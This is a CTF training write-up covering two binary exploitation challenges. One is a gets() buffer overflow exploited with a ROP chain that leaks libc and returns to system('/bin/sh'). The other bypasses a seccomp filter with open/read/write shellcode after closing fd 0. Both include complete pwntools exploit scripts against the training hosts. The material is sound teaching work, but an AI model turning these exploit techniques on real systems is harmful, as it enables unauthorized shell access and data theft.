# hkcert - training ## rop ### 1. Analysis Use ```checksec``` to check the protection ![](https://i.imgur.com/pV4mvuD.png) Here we can see only he Non executable stack protection (NX) is enabled which means we can not directly execute the shellcode in stack ### 2. Disassembly the binary file Use software to disassembly the binary file such as ida / Ghidra. My option is Ghidra. After the analyis the binary in Ghidra, we find the main function from entry point and decomplie the main function ![](https://i.imgur.com/6m3S4p1.png) ![](https://i.imgur.com/MKkwQoy.png) If you are a pwn player, you would instantly find that there has a very vulnerable function ```gets``` used in the program ```gets``` is vulnerable because the user can input any length of data. It may cause a vulnerability called Buffer overflow. If we can overflow the data to control the program return addres, we can control execution flow of this program. Remember the protection we have checked before. This program has not opened PIE. Therefore, we can directly find the function address in the program. ### 3. Find the offset to overflow Let's debug it using GDB First we can randomly fill some data in the program. Here I fill 'A' * 100 into the program. ![](https://i.imgur.com/FCg78Wk.png) The program will have the SIGSEGV and stopped We can see that in rsp we still have a lot of "A" which means we successfully can use the buffer overflow to overwrite the return address. After a few testing, we can find that the offset before the return address is 56. ### 4. Leak libc address If we use ```ldd``` to check, it shows this binary is linked to the libc ![](https://i.imgur.com/TocWXUJ.png) Which means if we can leak address of the linked libc, we can execute the function within the libc through overwrite the return address. We can build a rop chain to leak the libc address First, we can use ```ROPgadget``` to find our needed gadget ![](https://i.imgur.com/4HIivBA.png) Here we use pwntools to do our exploit: ```python= offset = 56 payload = b'A' * offset payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main) p.sendlineafter("input", payload) ``` This rop chain will let program output the puts address in libc and return to main function again. ![](https://i.imgur.com/SD0FBec.png) We get the byte ```\x10 \x8\x7f``` which is the puts function address in libc Then we can add some code with pwntools to convert it to be the readable number and calculate to libc base address. ```python= p.recvline() libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts'] info(f"libc_base: {hex(libc_base)}") ``` ### 5. ret2libc After we return to the main function again and get the libc base address. We can control the program call system("/bin/sh") to get the shell ```python= system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) payload = b'A' * offset payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) p.sendlineafter("input", payload) ``` ### 6. Get flag ![](https://i.imgur.com/VPgqfwM.png) ### 7. Full exploit ```python= from pwn import * TARGET = './rop' HOST = 'chal.training.hkcert21.pwnable.hk' PORT = 6006 elf = ELF(TARGET) # p = process(TARGET) p = remote(HOST, PORT) libc = ELF('./libc-2.31.so') #--- main = 0x004005b7 pop_rdi = 0x0000000000400673 ret = 0x000000000040048e offset = 56 payload = b'A' * offset payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main) p.sendlineafter("input", payload) p.recvline() libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts'] info(f"libc_base: {hex(libc_base)}") system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) payload = b'A' * offset payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) p.sendlineafter("input", payload) p.interactive() ``` ## fail of seccomp ### 1. Analysis The challenge provide the c soruce code file to us, so we no need to use the decomplier. After reading the source code. We can find that the program has protected by seccomp. Seccomp allowed the programe to call the predetermined syscall which we can find in ```set_seccomp``` function. ```c= void setup_seccomp() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); int ret = 0; ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1, SCMP_A0(SCMP_CMP_EQ, 1)); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 1, SCMP_A0(SCMP_CMP_EQ, 0)); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); ret |= seccomp_load(ctx); if (ret) { exit(1); } } ``` And other important thing is the program will read our input into a executable memory region and execute our input as shellcode. ### 2. Exploit I noticed that this program allow us to call ```open```, ```read``` and ```write``` We can build the shellcode be like: ```c= fd = open("./flag.txt", 0); read(fd, buf, 100); write(1, buf, 100); ``` We can get our flag now right? But the seccomp_rule only allow us to use 0 as the first arugment in read. However, we can close the fd 0 first and call open("./flag.txt", 0) The fd will become 0. We can use ```read(0, buf, 100);``` to read the content of the flag now! In the final exploit, I chose rsp to be the buffer space. ### 3. Full exploit ```python= from pwn import * TARGET = './chall' HOST = 'chal.training.hkcert21.pwnable.hk' PORT = 6008 context.arch = 'amd64' elf = ELF(TARGET) p = remote(HOST, PORT) shellcode = '' shellcode += shellcraft.close(0) shellcode += shellcraft.open('/flag.txt', 0) shellcode += shellcraft.read(0, 'rsp', 100) shellcode += shellcraft.write(1, 'rsp', 100) payload = asm(shellcode) p.sendlineafter("Give me your shellcode (max: 4096):", payload) p.interactive() ```